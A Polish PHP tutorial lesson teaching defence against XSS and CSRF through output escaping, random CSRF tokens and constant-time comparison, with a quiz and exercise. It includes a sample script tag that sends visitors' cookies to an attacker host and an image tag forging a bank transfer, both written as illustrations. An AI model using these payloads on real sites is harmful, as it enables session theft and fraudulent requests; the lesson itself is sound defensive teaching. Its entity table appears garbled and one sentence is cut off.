XSS i CSRF — ochrona formularzy i wyjścia
🎯 Po tej lekcji będziesz rozumieć ataki XSS i CSRF, eskejpować każde wyjście przez htmlspecialchars i implementować token CSRF z random_bytes i hash_equals.
Poznałeś już hashowanie haseł. Teraz pora na dwa inne ataki, które trafiają nie w bazę danych, lecz w przeglądarkę użytkownika: XSS i CSRF. Każda aplikacja wyświetlająca dane od użytkownika lub używająca formularzy musi je blokować.
XSS — Cross-Site Scripting
Co to jest XSS?
Wyobraź sobie księgę gości. Użytkownik wpisuje:
<script>document.location='https://zlodziej.pl?c='+document.cookie</script>
Jeśli wyświetlisz to bez ochrony — przeglądarka wykona ten skrypt. Atakujący przejmuje ciasteczka sesji wszystkich odwiedzających. To XSS — Stored XSS (przechowany w bazie) lub Reflected XSS (w parametrze URL).
Ochrona: htmlspecialchars na każdym wyjściu
Zasada jest prosta i absolutna: każdy tekst od użytkownika (z formularza, bazy, URL, API) musi przejść przez htmlspecialchars zanim trafi do HTML:
<?php
declare(strict_types=1);
$trescOdUzytkownika = '<script>alert("xss")</script>';
// ❌ Niebezpieczne:
// echo $trescOdUzytkownika;
// ✅ Bezpieczne:
echo htmlspecialchars($trescOdUzytkownika, ENT_QUOTES, 'UTF-8');
// wynik wyświetlony w HTML: <script>alert("xss")</script>
// przeglądarka wyświetla tekst dosłownie, nie wykonuje skryptu
Co zamienia htmlspecialchars:
| Znak | Encja |
|---|---|
| < | < |
| > | > |
| & | & |
| " | " |
| ' | ' |
Wzorzec w szablonie HTML
<?php
declare(strict_types=1);
// Dane z bazy lub sesji:
$imie = '<script>evil()</script>';
$email = '[email protected]';
?>
<!DOCTYPE html>
<html lang="pl">
<body>
<!-- ✅ Zawsze htmlspecialchars przy wyświetlaniu -->
<p>Cześć, <?= htmlspecialchars($imie, ENT_QUOTES, 'UTF-8') ?>!</p>
<p>E-mail: <?= htmlspecialchars($email, ENT_QUOTES, 'UTF-8') ?></p>
<!-- ✅ Wartości pól formularza też wymagają eskejpowania -->
<input type="text" name="imie"
value="<?= htmlspecialchars($imie, ENT_QUOTES, 'UTF-8') ?>">
</body>
</html>
" jak i '. To konieczne, bo wartości atrybutów mogą być zawarte w apostrofach: value='...'. Bez ENT_QUOTES atakujący zamknąłby atrybut i wstrzyknął dowolny HTML.CSRF — Cross-Site Request Forgery
Co to jest CSRF?
Jesteś zalogowany do swojego banku. Odwiedzasz złośliwą stronę, która w tle wysyła żądanie:
<!-- Na złośliwej stronie: -->
<img src="https://twojbank.pl/przelew?konto=atakujacy&kwota=1000">
Twoja przeglądarka wysyła to żądanie z twoimi ciasteczkami sesji — bank widzi zalogowanego ciebie i wykonuje przelew. To CSRF — atakujący „podrabia" twoje żądanie.
Ochrona: token CSRF
Token CSRF to losowa wartość powiązana z twoją sesją, ukryta w formularzu. Złośliwa strona nie zna tokenu — jej żądanie zostanie odrzucone.
Generowanie tokenu:
<?php
declare(strict_types=1);
session_start();
// Generuj token raz na sesję (lub na żądanie — zależy od polityki)
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
random_bytes(32)— 32 kryptograficznie bezpieczne bajty z CSPRNG systemu operacyjnego.bin2hex(...)— zamienia bajty na czytelny ciąg hex (64 znaki).
Osadzenie tokenu w formularzu:
<form method="post" action="/przelew">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8') ?>">
<input type="number" name="kwota" value="">
<button type="submit">Wyślij przelew</button>
</form>
Weryfikacja po stronie serwera:
<?php
declare(strict_types=1);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$tokenZFormularza = $_POST['csrf_token'] ?? '';
$tokenZSesji = $_SESSION['csrf_token'] ?? '';
// ✅ hash_equals — timing-safe comparison
if (!hash_equals($tokenZSesji, $tokenZFormularza)) {
http_response_code(403);
exit('Nieprawidłowy token CSRF.');
}
// Token OK — przetwarzaj żądanie
}
Dlaczego hash_equals, nie ===?
Operator === może przerywać porównanie przy pierwszej różnicy (short-circuit). Atakujący mierzący czas odpowiedzi serwera mógłby wnioskować ile znaków zgadza się od lewej — i stopniowo odgadywać token (atak czasowy / timing attack).
hash_equals(string $known, string $user): bool zawsze porównuje pełny ciąg niezależnie od miejsca różnicy — czas odpowiedzi jest stały.
<?php
declare(strict_types=1);
$tokenZSesji = 'abc123...'; // znany, bezpieczny token
$tokenZFormularza = 'abc999...'; // przesłany przez użytkownika
// ✅ Bezpieczne — timing-safe:
$ok = hash_equals($tokenZSesji, $tokenZFormularza);
// ❌ Potencjalnie podatne na timing attack:
// $ok = ($tokenZSesji === $tokenZFormularza);
Kompletny wzorzec — formularz z tokenem CSRF
Oto strona łącząca ochronę XSS i CSRF:
<?php
declare(strict_types=1);
session_start();
// Generuj token CSRF przy pierwszym dostępie
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$wiadomosc = '';
$blad = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 1. Sprawdź token CSRF
$tokenZFormularza = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'], $tokenZFormularza)) {
$blad = 'Nieprawidłowe żądanie (błąd CSRF).';
} else {
// 2. Przetwarzaj dane
$tresc = trim($_POST['tresc'] ?? '');
if ($tresc === '') {
$blad = 'Wiadomość jest wymagana.';
} else {
// W prawdziwej aplikacji: zapis do bazy
$wiadomosc = 'Wysłano: ' . $tresc;
// Odśwież token po udanym żądaniu
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
}
}
?>
<!DOCTYPE html>
<html lang="pl">
<head><meta charset="UTF-8"><title>Formularz z CSRF</title></head>
<body>
<?php if ($blad !== ''): ?>
<p style="color:red"><?= htmlspecialchars($blad, ENT_QUOTES, 'UTF-8') ?></p>
<?php endif; ?>
<?php if ($wiadomosc !== ''): ?>
<p style="color:green"><?= htmlspecialchars($wiadomosc, ENT_QUOTES, 'UTF-8') ?></p>
<?php endif; ?>
<form method="post" action="">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8') ?>">
<label>Wiadomość:<br>
<textarea name="tresc" rows="4" cols="50"></textarea>
</label><br>
<button type="submit">Wyślij</button>
</form>
</body>
</html>
Podsumowanie
| Atak | Mechanizm | Ochrona |
|---|---|---|
| XSS | Złośliwy skrypt wstrzyknięty w dane | htmlspecialchars(..., ENT_QUOTES, 'UTF-8') na każdym wyjściu |
| CSRF | Złośliwa strona wysyła żądanie za użytkownika | Token CSRF w sesji + pole ukryte + hash_equals |
Zapamiętaj żelazną zasadę: wszystko co wyświetlasz, eskejpujesz. Każdy formularz mutujący dane ma token CSRF.
W kolejnej lekcji zajmiemy się bezpiecznymi sesjami — jak chronić sesję przed przejęciem i jak wylogowywać użytkownika.
Funkcje w tej lekcji
Sprawdź się
Co robi htmlspecialchars('<script>alert(1)</script>', ENT_QUOTES, 'UTF-8')?
htmlspecialchars zamienia < na <, > na > itp. Przeglądarka wyświetla <script> jako dosłowny tekst, nie jako tag HTML — skrypt się nie wykonuje. To ochrona przed XSS.
Dlaczego token CSRF porównujemy przez hash_equals() zamiast operatora ===?
Operator === może przerywać porównanie przy pierwszej różnicy (timing attack). Atakujący mierzący czas odpowiedzi mógłby zgadywać token bajt po bajcie. hash_equals() zawsze porównuje pełny ciąg w stałym czasie.
Jaką funkcją generujemy bezpieczny losowy token CSRF?
random_bytes() czerpie losowość z systemu operacyjnego (CSPRNG). rand() jest przewidywalny — atakujący mogą odtworzyć wyniki znając stan generatora. md5(time()) jest trywialnie do przewidzenia. Tylko random_bytes() jest bezpieczne kryptograficznie.
Ćwiczenie
Napisz funkcję generujTokenCsrf(): string, która tworzy token 32-bajtowy zakodowany w hex i zapisuje go w $_SESSION['csrf_token']. Następnie napisz funkcję sprawdzTokenCsrf(string $token): bool, która sprawdza czy podany token zgadza się z tokenem w sesji (użyj hash_equals). Pamiętaj o wywołaniu session_start() przed testowaniem.
Pokaż rozwiązanie
<?php
declare(strict_types=1);
session_start();
function generujTokenCsrf(): string
{
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
return $token;
}
function sprawdzTokenCsrf(string $tokenZFormularza): bool
{
$tokenZSesji = $_SESSION['csrf_token'] ?? '';
return hash_equals($tokenZSesji, $tokenZFormularza);
}
// Test:
$token = generujTokenCsrf();
var_dump(sprawdzTokenCsrf($token)); // wynik: bool(true)
var_dump(sprawdzTokenCsrf('podrobiony')); // wynik: bool(false)